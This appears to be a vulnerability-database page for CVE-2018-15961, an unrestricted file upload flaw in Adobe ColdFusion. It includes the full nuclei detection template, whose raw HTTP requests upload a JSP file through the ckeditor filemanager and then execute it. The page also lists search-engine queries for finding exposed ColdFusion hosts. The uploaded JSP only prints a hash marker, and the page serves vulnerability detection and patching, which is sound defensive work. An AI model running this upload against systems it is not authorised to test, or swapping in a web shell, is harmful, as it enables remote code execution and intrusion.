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CVE-2018-15961· adobe / coldfusion· CWE-434
Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
Impact
Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.
Fix
Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
How to confirm it
Send: POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm ; GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp
Positive when: contains "ddbb3e76f92e78c445c8ecb392beb225" AND status 200Run it with nuclei: nuclei -id CVE-2018-15961 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-15961
info:
name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution
author: SkyLark-Lab,ImNightmaree
severity: critical
description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.
impact: |
Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.
remediation: |
Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-15961
- https://github.com/xbufu/CVE-2018-15961
- https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
- http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
- http://www.securitytracker.com/id/1041621
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-15961
cwe-id: CWE-434
epss-score: 0.9995
epss-percentile: 0.99974
cpe: cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*
metadata:
max-request: 2
vendor: adobe
product: coldfusion
shodan-query:
- http.component:"Adobe ColdFusion"
- http.component:"adobe coldfusion"
- http.title:"coldfusion administrator login"
- cpe:"cpe:2.3:a:adobe:coldfusion"
fofa-query:
- title="coldfusion administrator login"
- app="adobe-coldfusion"
google-query: intitle:"coldfusion administrator login"
tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive,vkev,vuln
http:
- raw:
- |
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
Content-Type: image/jpeg
<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-15961";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
hx = Integer.toHexString(0xFF & digest[i]);
if(hx.length() == 1){hx = "0" + hx;}
hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>
-----------------------------24464570528145
Content-Disposition: form-data; name="path"
{{randstr}}.jsp
-----------------------------24464570528145--
- |
GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2018-15961
- https://github.com/xbufu/CVE-2018-15961
- https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html
- http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621
- http://www.securitytracker.com/id/1041621
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